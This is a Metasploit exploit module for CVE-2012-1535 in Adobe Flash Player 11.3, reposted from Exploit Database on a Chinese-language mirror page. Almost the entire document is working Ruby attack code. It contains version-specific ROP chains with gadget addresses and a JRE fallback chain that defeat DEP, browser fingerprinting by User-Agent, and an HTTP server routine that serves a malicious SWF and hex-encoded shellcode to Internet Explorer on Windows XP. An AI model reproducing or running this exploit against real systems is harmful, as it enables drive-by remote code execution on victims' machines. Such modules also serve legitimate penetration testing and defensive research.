Adobe Flash Player 11.3 – Font Parsing Code Execution (Metasploit)

• Exploit Database
• 104 阅读

• 作者： Metasploit
  日期： 2012-08-20
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/20624/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "Adobe Flash Player 11.3 Font Parsing Code Execution",
  			'Description'=> %q{
  					This module exploits a vulnerability found in the ActiveX component of Adobe
  				Flash Player before 11.3.300.271. By supplying a corrupt Font file used by the SWF,
  				it is possible to gain arbitrary remote code execution under the context of the
  				user, as exploited in the wild.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Alexander Gavrun', #Through iDefense
  					'sinn3r',
  					'juan vazquez'
  				],
  			'References' =>
  				[
  					[ 'CVE', '2012-1535' ],
  					[ 'OSVDB', '84607'],
  					[ 'BID', '55009'],
  					[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ],
  					[ 'URL', 'http://vrt-blog.snort.org/2012/08/cve-2012-1535-flash-0-day-in-wild.html' ],
  					[ 'URL', 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ]
  				],
  			'Payload'=>
  				{
  					'Space'=> 1024
  				},
  			'DefaultOptions'=>
  				{
  					'InitialAutoRunScript' => 'migrate -f'
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# Tested successfully on:
  					# Flash 11.3.300.268
  					# Flash 11.3.300.265
  					# Flash 11.3.300.257
  					[ 'Automatic', {} ],
  					[
  						'IE 6 on Windows XP SP3',
  						{
  							'Rop'=> nil
  						}
  					],
  					[
  						'IE 7 on Windows XP SP3',
  						{
  							'Rop'=> nil
  						}
  					],
  					[
  						'IE 8 on Windows XP SP3',
  						{
  							'Rop' => true
  						}
  					]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Aug 9 2012",
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptEnum.new('ROP', [true, "The ROP chain to use", 'SWF', %w(SWF JRE)]),
  			], self.class)
  	end
  
  	def nop
  		return make_nops(4).unpack("L")[0].to_i
  	end
  
  	def get_payload(t, flash_version=nil)
  		if t['Rop'].nil?
  			p = [
  				0x0c0c0c0c, # mapped at 1e0d0000
  				0x0c0c0c0c,
  				0x0c0c0c0c, # mapped at 1e0d0008
  			].pack("V*")
  
  			p << payload.encoded
  		else
  			if datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/
  
  				print_status("Using Rop Chain For Flash: #{flash_version}")
  				stack_pivot = [
  					0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
  					0x0c0c0c0c,
  					0x1001d891, # xchg eax, esp # ret (1e0d0008)
  				].pack("V*")
  
  				rop = [
  					0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
  					0x106e3384, # <- *&VirtualProtect()
  					0x1029de2f, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_257.ocx)
  					0x106add37, # XCHG EAX,ESI # RETN (Flash32_11_3_300_257.ocx)
  					0x1064e000, # POP EBP # RETN (Flash32_11_3_300_257.ocx)
  					0x10175c57, # ptr to 'jmp esp' (from Flash32_11_3_300_257.ocx)
  					0x106a4010, # POP EBX # RETN (Flash32_11_3_300_257.ocx)
  					0x00000201, # <- change size to mark as executable if needed (-> ebx)
  					0x104de800, # POP ECX # RETN (Flash32_11_3_300_257.ocx)
  					0x10955000, # W pointer (lpOldProtect) (-> ecx)
  					0x10649003, # POP EDI # RETN (Flash32_11_3_300_257.ocx)
  					0x10649004, # ROP NOP (-> edi)
  					0x10649987, # POP EDX # RETN (Flash32_11_3_300_257.ocx)
  					0x00000040, # newProtect (0x40) (-> edx)
  					0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
  					nop,# NOPS (-> eax)
  					0x1060e809, # PUSHAD # RETN (Flash32_11_3_300_257.ocx)
  				].pack("V*")
  
  			elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/
  
  				print_status("Using Rop Chain For Flash: #{flash_version}")
  				stack_pivot = [
  					0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
  					0x0c0c0c0c,
  					0x1001d6d3, # xchg eax, esp # ret (1e0d0008)
  				].pack("V*")
  
  				rop = [
  					0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
  					0x106e338c, # <- *&VirtualProtect()
  					0x1029ea04, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_265.ocx)
  					0x103d60b8, # XCHG EAX,ESI # RETN (Flash32_11_3_300_265.ocx)
  					0x105cc000, # POP EBP # RETN (Flash32_11_3_300_265.ocx)
  					0x1001c5cd, # ptr to 'jmp esp' (from Flash32_11_3_300_265.ocx)
  					0x10398009, # POP EBX # RETN (Flash32_11_3_300_265.ocx)
  					0x00000201, # <- change size to mark as executable if needed (-> ebx)
  					0x10434188, # POP ECX # RETN (Flash32_11_3_300_265.ocx)
  					0x10955000, # W pointer (lpOldProtect) (-> ecx)
  					0x105c1811, # POP EDI # RETN (Flash32_11_3_300_265.ocx)
  					0x105c1812, # ROP NOP (-> edi)
  					0x10650602, # POP EDX # RETN (Flash32_11_3_300_265.ocx)
  					0x00000040, # newProtect (0x40) (-> edx)
  					0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
  					nop,# NOPS (-> eax)
  					0x1062800f, # PUSHAD # RETN (Flash32_11_3_300_265.ocx)
  				].pack("V*")
  
  			elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/
  
  				print_status("Using Rop Chain For Flash: #{flash_version}")
  				stack_pivot = [
  					0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
  					0x0c0c0c0c,
  					0x1001d755, # xchg eax, esp # ret (1e0d0008)
  				].pack("V*")
  				rop = [
  					0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
  					0x106e438c, # <- *&VirtualProtect()
  					0x10198e00, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_268.ocx)
  					0x106ddf15, # XCHG EAX,ESI # RETN (Flash32_11_3_300_268.ocx)
  					0x1035f000, # POP EBP # RETN (Flash32_11_3_300_268.ocx)
  					0x10175c28, # ptr to 'jmp esp' (from Flash32_11_3_300_268.ocx)
  					0x105e0013, # POP EBX # RETN (Flash32_11_3_300_268.ocx)
  					0x00000201, # <- change size to mark as executable if needed (-> ebx)
  					0x10593801, # POP ECX # RETN (Flash32_11_3_300_268.ocx)
  					0x1083c000, # RW pointer (lpOldProtect) (-> ecx)
  					0x10308b0e, # POP EDI # RETN (Flash32_11_3_300_268.ocx)
  					0x10308b0f, # ROP NOP (-> edi)
  					0x10663a00, # POP EDX # RETN (Flash32_11_3_300_268.ocx)
  					0x00000040, # newProtect (0x40) (-> edx)
  					0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
  					nop,# NOPS (-> eax)
  					0x1069120b, # PUSHAD # RETN (Flash32_11_3_300_268.ocx)
  				].pack("V*")
  
  			else
  
  				print_status("Default back to JRE ROP")
  				stack_pivot = [
  					0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000)
  					0x0c0c0c0c,
  					0x7c348b05, # xchg eax, esp # ret (1e0d0008)
  				].pack("V*")
  
  				rop = [
  					0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
  					0x00001000, # (dwSize)
  					0x7c347f98, # RETN (ROP NOP)
  					0x7c3415a2, # JMP [EAX]
  					0xffffffff,
  					0x7c376402, # skip 4 bytes
  					0x7c345255, # INC EBX # FPATAN # RETN
  					0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
  					0x7c344f87, # POP EDX # RETN
  					0x00000040, # flNewProtect
  					0x7c34d201, # POP ECX # RETN
  					0x7c38b001, # &Writable location
  					0x7c347f97, # POP EAX # RETN
  					0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
  					0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
  					0x7c345c30, # ptr to 'push esp #ret '
  				].pack("V*")
  
  			end
  			p = stack_pivot
  			p << rop
  			p << payload.encoded
  		end
  		return p
  	end
  
  	def get_target(agent)
  		#If the user is already specified by the user, we'll just use that
  		return target if target.name != 'Automatic'
  
  		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
  			return targets[1]#IE 6 on Windows XP SP3
  		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
  			return targets[2]#IE 7 on Windows XP SP3
  		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
  			return targets[3]#IE 8 on Windows XP SP3
  		else
  			return nil
  		end
  	end
  
  	def on_request_uri(cli, request)
  
  		agent = request.headers['User-Agent']
  		print_status("User-agent: #{agent}")
  		my_target = get_target(agent)
  
  		print_status("Client requesting: #{request.uri}")
  
  		# Avoid the attack if the victim doesn't have the same setup we're targeting
  		if my_target.nil?
  			print_error("Browser not supported: #{agent}")
  			send_not_found(cli)
  			return
  		end
  
  		# The SWF request itself
  		if request.uri =~ /\.swf$/
  			print_status("Sending SWF")
  			send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
  			return
  		end
  
  		# The TXT payload request
  		if request.uri =~ /\.txt$/
  			flash_version = request.headers['x-flash-version']
  			shellcode = get_payload(my_target, flash_version).unpack('H*')[0]
  			print_status("Sending Payload")
  			send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
  			return
  		end
  
  		swf_uri = get_resource() + Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf"
  
  		html = %Q|
  		<html>
  		<head>
  		</head>
  		<body>
  		<object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
  		<param name="movie" value="#{swf_uri}">
  		</object>
  		</body>
  		</html>
  		|
  
  		html = html.gsub(/^\t\t/, '')
  
  		# we need to handle direct /pay.txt requests
  		proc = Proc.new do |cli, req|
  			on_request_uri(cli, req)
  		end
  		add_resource({'Path' => "/pay.txt", 'Proc' => proc}) rescue nil
  
  		print_status("Sending HTML")
  		send_response(cli, html, {'Content-Type'=>'text/html'})
  	end
  
  	def exploit
  		@swf = create_swf
  		print_status("SWF Loaded: #{@swf.length.to_s} bytes")
  		super
  	end
  
  	def create_swf
  		path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1535", "trigger.swf" )
  		fd = ::File.open( path, "rb" )
  		swf = fd.read(fd.stat.size)
  		fd.close
  		return swf
  	end
  
  	def cleanup
  		vprint_status("Removing txt resource")
  		remove_resource('/pay.txt') rescue nil
  		super
  	end
  
  end
  

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